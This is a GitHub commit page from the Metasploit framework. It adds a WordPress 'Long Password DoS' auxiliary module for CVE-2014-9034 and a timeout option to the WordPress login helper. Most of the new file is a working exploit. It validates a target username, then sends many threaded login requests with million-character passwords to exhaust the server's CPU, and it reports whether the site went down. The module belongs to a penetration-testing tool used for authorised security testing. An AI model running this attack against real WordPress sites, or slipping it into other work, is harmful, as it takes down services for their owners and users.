Skip to content

Commit 5b964bb

Browse files
committed
Land rapid7#4518, Wordpress long password DoS
2 parents a4a7219 + 6014ff8 commit 5b964bb

File tree

2 files changed

+134
-3
lines changed

2 files changed

+134
-3
lines changed

lib/msf/http/wordpress/login.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,14 +5,15 @@ module Msf::HTTP::Wordpress::Login
55
#
66
# @param user [String] Username
77
# @param pass [String] Password
8+
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
89
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
9-
def wordpress_login(user, pass)
10+
def wordpress_login(user, pass, timeout = 20)
1011
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
11-
res = send_request_cgi(
12+
res = send_request_cgi({
1213
'method' => 'POST',
1314
'uri' => wordpress_url_login,
1415
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
15-
)
16+
}, timeout)
1617
if res && res.redirect? && res.redirection && res.redirection.to_s == redirect
1718
cookies = res.get_cookies
1819
# Check if a valid wordpress cookie is returned
Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
##
2+
# This module requires Metasploit: http//www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::HTTP::Wordpress
10+
include Msf::Auxiliary::Dos
11+
12+
def initialize(info = {})
13+
super(update_info(
14+
info,
15+
'Name' => 'WordPress Long Password DoS',
16+
'Description' => %q{WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x
17+
before 4.0.1 allows remote attackers to cause a denial of service
18+
(CPU consumption) via a long password that is improperly handled
19+
during hashing.},
20+
'License' => MSF_LICENSE,
21+
'Author' =>
22+
[
23+
'Javier Nieto Arevalo', # Vulnerability disclosure
24+
'Andres Rojas Guerrero', # Vulnerability disclosure
25+
'Rob Carr <rob[at]rastating.com>' # Metasploit module
26+
],
27+
'References' =>
28+
[
29+
['URL', 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034'],
30+
['OSVDB', '114857'],
31+
['WPVDB', '7681']
32+
],
33+
'DisclosureDate' => 'Nov 20 2014'
34+
))
35+
36+
register_options(
37+
[
38+
OptInt.new('PLENGTH', [true, 'Length of password to use', 1000000]),
39+
OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]),
40+
OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]),
41+
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]),
42+
OptString.new('USERNAME', [true, 'The username to send the requests with', '']),
43+
OptBool.new('VALIDATE_USER', [true, 'Validate the specified username', true])
44+
], self.class)
45+
end
46+
47+
def rlimit
48+
datastore['RLIMIT']
49+
end
50+
51+
def plength
52+
datastore['PLENGTH']
53+
end
54+
55+
def username
56+
datastore['USERNAME']
57+
end
58+
59+
def validate_user
60+
datastore['VALIDATE_USER']
61+
end
62+
63+
def thread_count
64+
datastore['THREADS']
65+
end
66+
67+
def timeout
68+
datastore['TIMEOUT']
69+
end
70+
71+
def user_exists(user)
72+
exists = wordpress_user_exists?(user)
73+
if exists
74+
print_good("#{peer} - Username \"#{username}\" is valid")
75+
report_auth_info(
76+
:host => rhost,
77+
:sname => (ssl ? 'https' : 'http'),
78+
:user => user,
79+
:port => rport,
80+
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
81+
)
82+
83+
return true
84+
else
85+
print_error("#{peer} - \"#{user}\" is not a valid username")
86+
return false
87+
end
88+
end
89+
90+
def run
91+
if wordpress_and_online?
92+
if validate_user
93+
print_status("#{peer} - Checking if user \"#{username}\" exists...")
94+
unless user_exists(username)
95+
print_error('Aborting operation - a valid username must be specified')
96+
return
97+
end
98+
end
99+
100+
starting_thread = 1
101+
while starting_thread < rlimit do
102+
ubound = [rlimit - (starting_thread - 1), thread_count].min
103+
print_status("#{peer} - Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
104+
105+
threads = []
106+
1.upto(ubound) do |i|
107+
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
108+
begin
109+
wordpress_login(username, Rex::Text.rand_text_alpha(plength), timeout)
110+
rescue => e
111+
print_error("#{peer} - Timed out during request #{(starting_thread - 1) + i}")
112+
end
113+
end
114+
end
115+
116+
threads.each(&:join)
117+
print_good("#{peer} - Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
118+
starting_thread += ubound
119+
end
120+
121+
if wordpress_and_online?
122+
print_error("#{peer} - FAILED: #{target_uri} appears to still be online")
123+
else
124+
print_good("#{peer} - SUCCESS: #{target_uri} appears to be down")
125+
end
126+
else
127+
print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")
128+
end
129+
end
130+
end

0 commit comments

Comments
 (0)